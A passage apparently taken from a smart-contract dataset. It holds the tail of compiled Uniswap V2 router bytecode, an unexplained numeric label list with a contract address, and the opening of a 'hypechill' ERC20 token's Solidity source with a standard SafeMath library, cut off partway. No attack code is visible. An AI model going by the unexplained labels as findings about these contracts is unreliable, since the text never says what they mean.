810190604081016020820135600160201b81111561075c57600080fd5b82018360208201111561076e57600080fd5b803590602001918460208302840111600160201b8311171561078f57600080fd5b91935091506001600160a01b038135169060200135611b21565b3480156107b557600080fd5b5061022f600480360360608110156107cc57600080fd5b5080359060208101359060400135611e74565b3480156107eb57600080fd5b506102d7600480360360a081101561080257600080fd5b813591602081013591810190606081016040820135600160201b81111561082857600080fd5b82018360208201111561083a57600080fd5b803590602001918460208302840111600160201b8311171561085b57600080fd5b91935091506001600160a01b038135169060200135611e81565b34801561088157600080fd5b5061088a611f7a565b604080516001600160a01b039092168252519081900360200190f35b3480156108b257600080fd5b5061022f600480360360608110156108c957600080fd5b5080359060208101359060400135611f9e565b3480156108e857600080fd5b5061022f600480360360c08110156108ff57600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a00135611fab565b6101866004803603608081101561094557600080fd5b81359190810190604081016020820135600160201b81111561096657600080fd5b82018360208201111561097857600080fd5b803590602001918460208302840111600160201b8311171561099957600080fd5b91935091506001600160a01b03813516906020013561212c565b3480156109bf57600080fd5b506101e0600480360360e08110156109d657600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a08101359091169060c001356124b8565b348015610a1c57600080fd5b5061088a6126fc565b348015610a3157600080fd5b506102d760048036036040811015610a4857600080fd5b81359190810190604081016020820135600160201b811115610a6957600080fd5b820183602082011115610a7b57600080fd5b803590602001918460208302840111600160201b83111715610a9c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550612720945050505050565b348015610ae657600080fd5b506101e06004803603610140811015610afe57600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a08101359060c081013515159060ff60e0820135169061010081013590610120013561274d565b348015610b5957600080fd5b50610baf6004803603610100811015610b7157600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a08101359160c0820135169060e00135612861565b60408051938452602084019290925282820152519081900360600190f35b610baf600480360360c0811015610be357600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a0013561299d565b6102d760048036036080811015610c2957600080fd5b81359190810190604081016020820135600160201b811115610c4a57600080fd5b820183602082011115610c5c57600080fd5b803590602001918460208302840111600160201b83111715610c7d57600080fd5b91935091506001600160a01b038135169060200135612c42565b6000808242811015610cde576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b610d0d897f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28a8a8a308a6124b8565b9093509150610d1d898685612fc4565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610d8357600080fd5b505af1158015610d97573d6000803e3d6000fd5b50505050610da5858361312e565b50965096945050505050565b6000610dbe848484613226565b949350505050565b60608142811015610e0c576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21686866000198101818110610e4657fe5b905060200201356001600160a01b03166001600160a01b031614610e9f576040805162461bcd60e51b815260206004820152601d60248201526000805160206144ab833981519152604482015290519081900360640190fd5b610efd7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061331692505050565b91508682600184510381518110610f1057fe5b60200260200101511015610f555760405162461bcd60e51b815260040180806020018281038252602b815260200180614514602b913960400191505060405180910390fd5b610ff386866000818110610f6557fe5b905060200201356001600160a01b031633610fd97f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788a8a6000818110610fa757fe5b905060200201356001600160a01b03168b8b6001818110610fc457fe5b905060200201356001600160a01b0316613462565b85600081518110610fe657fe5b6020026020010151613522565b6110328287878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525030925061367f915050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d8360018551038151811061107157fe5b60200260200101516040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156110af57600080fd5b505af11580156110c3573d6000803e3d6000fd5b505050506110e884836001855103815181106110db57fe5b602002602001015161312e565b509695505050505050565b60606111207f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c617884846138c5565b90505b92915050565b60008060006111597f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788f8f613462565b9050600087611168578c61116c565b6000195b6040805163d505accf60e01b815233600482015230602482015260448101839052606481018c905260ff8a16608482015260a4810189905260c4810188905290519192506001600160a01b0384169163d505accf9160e48082019260009290919082900301818387803b1580156111e257600080fd5b505af11580156111f6573d6000803e3d6000fd5b505050506112098f8f8f8f8f8f8f6124b8565b809450819550505050509b509b9950505050505050505050565b60608142811015611269576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b6112c77f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061331692505050565b915086826001845103815181106112da57fe5b6020026020010151101561131f5760405162461bcd60e51b815260040180806020018281038252602b815260200180614514602b913960400191505060405180910390fd5b61132f86866000818110610f6557fe5b6110e88287878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525089925061367f915050565b606081428110156113b4576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216868660001981018181106113ee57fe5b905060200201356001600160a01b03166001600160a01b031614611447576040805162461bcd60e51b815260206004820152601d60248201526000805160206144ab833981519152604482015290519081900360640190fd5b6114a57f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c6178898888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506138c592505050565b915086826000815181106114b557fe5b60200260200101511115610f555760405162461bcd60e51b81526004018080602001828103825260278152602001806144846027913960400191505060405180910390fd5b6000806115487f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788d7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2613462565b9050600086611557578b61155b565b6000195b6040805163d505accf60e01b815233600482015230602482015260448101839052606481018b905260ff8916608482015260a4810188905260c4810187905290519192506001600160a01b0384169163d505accf9160e48082019260009290919082900301818387803b1580156115d157600080fd5b505af11580156115e5573d6000803e3d6000fd5b505050506115f78d8d8d8d8d8d611fab565b9d9c50505050505050505050505050565b804281101561164c576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b6116c18585600081811061165c57fe5b905060200201356001600160a01b0316336116bb7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788989600081811061169e57fe5b905060200201356001600160a01b03168a8a6001818110610fc457fe5b8a613522565b6000858560001981018181106116d357fe5b905060200201356001600160a01b03166001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561173857600080fd5b505afa15801561174c573d6000803e3d6000fd5b505050506040513d602081101561176257600080fd5b505160408051602088810282810182019093528882529293506117a49290918991899182918501908490808284376000920191909152508892506139fd915050565b8661185682888860001981018181106117b957fe5b905060200201356001600160a01b03166001600160a01b03166370a08231886040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561181e57600080fd5b505afa158015611832573d6000803e3d6000fd5b505050506040513d602081101561184857600080fd5b50519063ffffffff613d0816565b10156118935760405162461bcd60e51b815260040180806020018281038252602b815260200180614514602b913960400191505060405180910390fd5b5050505050505050565b80428110156118e1576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2168585600019810181811061191b57fe5b905060200201356001600160a01b03166001600160a01b031614611974576040805162461bcd60e51b815260206004820152601d60248201526000805160206144ab833981519152604482015290519081900360640190fd5b6119848585600081811061165c57fe5b6119c28585808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152503092506139fd915050565b604080516370a0823160e01b815230600482015290516000916001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216916370a0823191602480820192602092909190829003018186803b158015611a2c57600080fd5b505afa158015611a40573d6000803e3d6000fd5b505050506040513d6020811015611a5657600080fd5b5051905086811015611a995760405162461bcd60e51b815260040180806020018281038252602b815260200180614514602b913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611aff57600080fd5b505af1158015611b13573d6000803e3d6000fd5b50505050611893848261312e565b60608142811015611b67576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031686866000818110611b9e57fe5b905060200201356001600160a01b03166001600160a01b031614611bf7576040805162461bcd60e51b815260206004820152601d60248201526000805160206144ab833981519152604482015290519081900360640190fd5b611c557f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61783488888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061331692505050565b91508682600184510381518110611c6857fe5b60200260200101511015611cad5760405162461bcd60e51b815260040180806020018281038252602b815260200180614514602b913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db083600081518110611ce957fe5b60200260200101516040518263ffffffff1660e01b81526004016000604051808303818588803b158015611d1c57600080fd5b505af1158015611d30573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb611d957f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788989600081811061169e57fe5b84600081518110611da257fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611df957600080fd5b505af1158015611e0d573d6000803e3d6000fd5b505050506040513d6020811015611e2357600080fd5b5051611e2b57fe5b611e6a8287878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525089925061367f915050565b5095945050505050565b6000610dbe848484613d58565b60608142811015611ec7576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b611f257f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c6178898888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506138c592505050565b91508682600081518110611f3557fe5b6020026020010151111561131f5760405162461bcd60e51b81526004018080602001828103825260278152602001806144846027913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000610dbe848484613e48565b60008142811015611ff1576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b612020887f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc289898930896124b8565b604080516370a0823160e01b815230600482015290519194506120a492508a9187916001600160a01b038416916370a0823191602480820192602092909190829003018186803b15801561207357600080fd5b505afa158015612087573d6000803e3d6000fd5b505050506040513d602081101561209d57600080fd5b5051612fc4565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561210a57600080fd5b505af115801561211e573d6000803e3d6000fd5b505050506110e8848361312e565b8042811015612170576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316858560008181106121a757fe5b905060200201356001600160a01b03166001600160a01b031614612200576040805162461bcd60e51b815260206004820152601d60248201526000805160206144ab833981519152604482015290519081900360640190fd5b60003490507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b15801561226057600080fd5b505af1158015612274573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb6122d97f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788989600081811061169e57fe5b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561232957600080fd5b505af115801561233d573d6000803e3d6000fd5b505050506040513d602081101561235357600080fd5b505161235b57fe5b60008686600019810181811061236d57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156123d257600080fd5b505afa1580156123e6573d6000803e3d6000fd5b505050506040513d60208110156123fc57600080fd5b5051604080516020898102828101820190935289825292935061243e9290918a918a9182918501908490808284376000920191909152508992506139fd915050565b87611856828989600019810181811061245357fe5b905060200201356001600160a01b03166001600160a01b03166370a08231896040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561181e57600080fd5b60008082428110156124ff576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b600061252c7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788c8c613462565b604080516323b872dd60e01b81523360048201526001600160a01b03831660248201819052604482018d9052915192935090916323b872dd916064808201926020929091908290030181600087803b15801561258757600080fd5b505af115801561259b573d6000803e3d6000fd5b505050506040513d60208110156125b157600080fd5b50506040805163226bf2d160e21b81526001600160a01b03888116600483015282516000938493928616926389afcb44926024808301939282900301818787803b1580156125fe57600080fd5b505af1158015612612573d6000803e3d6000fd5b505050506040513d604081101561262857600080fd5b508051602090910151909250905060006126428e8e613ef4565b509050806001600160a01b03168e6001600160a01b031614612665578183612668565b82825b90975095508a8710156126ac5760405162461bcd60e51b81526004018080602001828103825260268152602001806144cb6026913960400191505060405180910390fd5b898610156126eb5760405162461bcd60e51b81526004018080602001828103825260268152602001806144116026913960400191505060405180910390fd5b505050505097509795505050505050565b7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c617881565b60606111207f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788484613316565b600080600061279d7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788e7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2613462565b90506000876127ac578c6127b0565b6000195b6040805163d505accf60e01b815233600482015230602482015260448101839052606481018c905260ff8a16608482015260a4810189905260c4810188905290519192506001600160a01b0384169163d505accf9160e48082019260009290919082900301818387803b15801561282657600080fd5b505af115801561283a573d6000803e3d6000fd5b5050505061284c8e8e8e8e8e8e610c97565b909f909e509c50505050505050505050505050565b600080600083428110156128aa576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b6128b88c8c8c8c8c8c613fd2565b909450925060006128ea7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788e8e613462565b90506128f88d338388613522565b6129048c338387613522565b806001600160a01b0316636a627842886040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b15801561295c57600080fd5b505af1158015612970573d6000803e3d6000fd5b505050506040513d602081101561298657600080fd5b5051949d939c50939a509198505050505050505050565b600080600083428110156129e6576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b612a148a7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28b348c8c613fd2565b90945092506000612a667f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788c7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2613462565b9050612a748b338388613522565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0856040518263ffffffff1660e01b81526004016000604051808303818588803b158015612acf57600080fd5b505af1158015612ae3573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb82866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015612b6857600080fd5b505af1158015612b7c573d6000803e3d6000fd5b505050506040513d6020811015612b9257600080fd5b5051612b9a57fe5b806001600160a01b0316636a627842886040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b158015612bf257600080fd5b505af1158015612c06573d6000803e3d6000fd5b505050506040513d6020811015612c1c57600080fd5b5051925034841015612c3457612c343385340361312e565b505096509650969350505050565b60608142811015612c88576040805162461bcd60e51b8152602060048201526018602482015260008051602061458e833981519152604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031686866000818110612cbf57fe5b905060200201356001600160a01b03166001600160a01b031614612d18576040805162461bcd60e51b815260206004820152601d60248201526000805160206144ab833981519152604482015290519081900360640190fd5b612d767f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c6178888888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506138c592505050565b91503482600081518110612d8657fe5b60200260200101511115612dcb5760405162461bcd60e51b81526004018080602001828103825260278152602001806144846027913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db083600081518110612e0757fe5b60200260200101516040518263ffffffff1660e01b81526004016000604051808303818588803b158015612e3a57600080fd5b505af1158015612e4e573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb612eb37f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788989600081811061169e57fe5b84600081518110612ec057fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015612f1757600080fd5b505af1158015612f2b573d6000803e3d6000fd5b505050506040513d6020811015612f4157600080fd5b5051612f4957fe5b612f888287878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525089925061367f915050565b81600081518110612f9557fe5b6020026020010151341115611e6a57611e6a3383600081518110612fb557fe5b6020026020010151340361312e565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106130415780518252601f199092019160209182019101613022565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146130a3576040519150601f19603f3d011682016040523d82523d6000602084013e6130a8565b606091505b50915091508180156130d65750805115806130d657508080602001905160208110156130d357600080fd5b50515b613127576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b6020831061317a5780518252601f19909201916020918201910161315b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146131dc576040519150601f19603f3d011682016040523d82523d6000602084013e6131e1565b606091505b50509050806132215760405162461bcd60e51b81526004018080602001828103825260238152602001806144f16023913960400191505060405180910390fd5b505050565b60008084116132665760405162461bcd60e51b815260040180806020018281038252602b815260200180614563602b913960400191505060405180910390fd5b6000831180156132765750600082115b6132b15760405162461bcd60e51b81526004018080602001828103825260288152602001806144376028913960400191505060405180910390fd5b60006132c5856103e563ffffffff61424616565b905060006132d9828563ffffffff61424616565b905060006132ff836132f3886103e863ffffffff61424616565b9063ffffffff6142a916565b905080828161330a57fe5b04979650505050505050565b606060028251101561336f576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a20494e56414c49445f504154480000604482015290519081900360640190fd5b815167ffffffffffffffff8111801561338757600080fd5b506040519080825280602002602001820160405280156133b1578160200160208202803683370190505b50905082816000815181106133c257fe5b60200260200101818152505060005b600183510381101561345a57600080613414878685815181106133f057fe5b602002602001015187866001018151811061340757fe5b60200260200101516142f8565b9150915061343684848151811061342757fe5b60200260200101518383613226565b84846001018151811061344557fe5b602090810291909101015250506001016133d1565b509392505050565b60008060006134718585613ef4565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f017506384b44e037b32c5a06cdeba064da0983a26d258e0b62d488ae4262513b609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b602083106135a75780518252601f199092019160209182019101613588565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613609576040519150601f19603f3d011682016040523d82523d6000602084013e61360e565b606091505b509150915081801561363c57508051158061363c575080806020019051602081101561363957600080fd5b50515b6136775760405162461bcd60e51b815260040180806020018281038252602481526020018061453f6024913960400191505060405180910390fd5b505050505050565b60005b60018351038110156138bf5760008084838151811061369d57fe5b60200260200101518584600101815181106136b457fe5b60200260200101519150915060006136cc8383613ef4565b50905060008785600101815181106136e057fe5b60200260200101519050600080836001600160a01b0316866001600160a01b03161461370e57826000613712565b6000835b91509150600060028a51038810613729578861376a565b61376a7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c6178878c8b6002018151811061375d57fe5b6020026020010151613462565b90506137977f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788888613462565b6001600160a01b031663022c0d9f84848460006040519080825280601f01601f1916602001820160405280156137d4576020820181803683370190505b506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b03166001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561384557818101518382015260200161382d565b50505050905090810190601f1680156138725780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561389457600080fd5b505af11580156138a8573d6000803e3d6000fd5b505060019099019850613682975050505050505050565b50505050565b606060028251101561391e576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a20494e56414c49445f504154480000604482015290519081900360640190fd5b815167ffffffffffffffff8111801561393657600080fd5b50604051908082528060200260200182016040528015613960578160200160208202803683370190505b509050828160018351038151811061397457fe5b60209081029190910101528151600019015b801561345a576000806139b6878660018603815181106139a257fe5b602002602001015187868151811061340757fe5b915091506139d88484815181106139c957fe5b60200260200101518383613d58565b8460018503815181106139e757fe5b6020908102919091010152505060001901613986565b60005b600183510381101561322157600080848381518110613a1b57fe5b6020026020010151858460010181518110613a3257fe5b6020026020010151915091506000613a4a8383613ef4565b5090506000613a7a7f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788585613462565b9050600080600080846001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015613abb57600080fd5b505afa158015613acf573d6000803e3d6000fd5b505050506040513d6060811015613ae557600080fd5b5080516020909101516001600160701b0391821693501690506000806001600160a01b038a811690891614613b1b578284613b1e565b83835b91509150613b7c828b6001600160a01b03166370a082318a6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561181e57600080fd5b9550613b89868383613226565b945050505050600080856001600160a01b0316886001600160a01b031614613bb357826000613bb7565b6000835b91509150600060028c51038a10613bce578a613c02565b613c027f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c6178898e8d6002018151811061375d57fe5b604080516000808252602082019283905263022c0d9f60e01b835260248201878152604483018790526001600160a01b038086166064850152608060848501908152845160a48601819052969750908c169563022c0d9f958a958a958a9591949193919260c486019290918190849084905b83811015613c8c578181015183820152602001613c74565b50505050905090810190601f168015613cb95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015613cdb57600080fd5b505af1158015613cef573d6000803e3d6000fd5b50506001909b019a50613a009950505050505050505050565b80820382811115611123576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6000808411613d985760405162461bcd60e51b815260040180806020018281038252602c8152602001806143c0602c913960400191505060405180910390fd5b600083118015613da85750600082115b613de35760405162461bcd60e51b81526004018080602001828103825260288152602001806144376028913960400191505060405180910390fd5b6000613e076103e8613dfb868863ffffffff61424616565b9063ffffffff61424616565b90506000613e216103e5613dfb868963ffffffff613d0816565b9050613e3e6001828481613e3157fe5b049063ffffffff6142a916565b9695505050505050565b6000808411613e885760405162461bcd60e51b815260040180806020018281038252602581526020018061445f6025913960400191505060405180910390fd5b600083118015613e985750600082115b613ed35760405162461bcd60e51b81526004018080602001828103825260288152602001806144376028913960400191505060405180910390fd5b82613ee4858463ffffffff61424616565b81613eeb57fe5b04949350505050565b600080826001600160a01b0316846001600160a01b03161415613f485760405162461bcd60e51b81526004018080602001828103825260258152602001806143ec6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610613f68578284613f6b565b83835b90925090506001600160a01b038216613fcb576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b6040805163e6a4390560e01b81526001600160a01b03888116600483015287811660248301529151600092839283927f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61789092169163e6a4390591604480820192602092909190829003018186803b15801561404c57600080fd5b505afa158015614060573d6000803e3d6000fd5b505050506040513d602081101561407657600080fd5b50516001600160a01b0316141561412957604080516364e329cb60e11b81526001600160a01b038a81166004830152898116602483015291517f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61789092169163c9c65396916044808201926020929091908290030181600087803b1580156140fc57600080fd5b505af1158015614110573d6000803e3d6000fd5b505050506040513d602081101561412657600080fd5b50505b6000806141577f000000000000000000000000d96cf0066ab829c4ae6cdbe0f72f841e2b5c61788b8b6142f8565b91509150816000148015614169575080155b1561417957879350869250614239565b6000614186898484613e48565b90508781116141d957858110156141ce5760405162461bcd60e51b81526004018080602001828103825260268152602001806144116026913960400191505060405180910390fd5b889450925082614237565b60006141e6898486613e48565b9050898111156141f257fe5b878110156142315760405162461bcd60e51b81526004018080602001828103825260268152602001806144cb6026913960400191505060405180910390fd5b94508793505b505b5050965096945050505050565b60008115806142615750508082028282828161425e57fe5b04145b611123576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b80820182811015611123576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fd5b60008060006143078585613ef4565b509050600080614318888888613462565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561435057600080fd5b505afa158015614364573d6000803e3d6000fd5b505050506040513d606081101561437a57600080fd5b5080516020909101516001600160701b0391821693501690506001600160a01b03878116908416146143ad5780826143b0565b81815b9099909850965050505050505056fe556e697377617056324c6962726172793a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e69737761705632526f757465723a20494e53554646494349454e545f425f414d4f554e54556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459556e697377617056324c6962726172793a20494e53554646494349454e545f414d4f554e54556e69737761705632526f757465723a204558434553534956455f494e5055545f414d4f554e54556e69737761705632526f757465723a20494e56414c49445f50415448000000556e69737761705632526f757465723a20494e53554646494349454e545f415f414d4f554e545472616e7366657248656c7065723a204554485f5452414e534645525f4641494c4544556e69737761705632526f757465723a20494e53554646494349454e545f4f55545055545f414d4f554e545472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54556e69737761705632526f757465723a20455850495245440000000000000000a2646970667358221220ec5d4c360d2538720f4a281e3f9fe20cca17d7c451feaa14427bc1a88ab177c164736f6c63430006060033 | [
16,
5,
12
] |
0xf3574adbdf91b515c924dd29e4e11f2b4b077457 | // MYWebsite: hypechill.fund
// /_ _ _ _ /_ .//
// / //_//_//_'/_ / ///
// _//
//
// hypechill_contract erc20chilldrops remix deploy_mainnet sol.0.6.6+
// by RaptorElite_Dev__
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
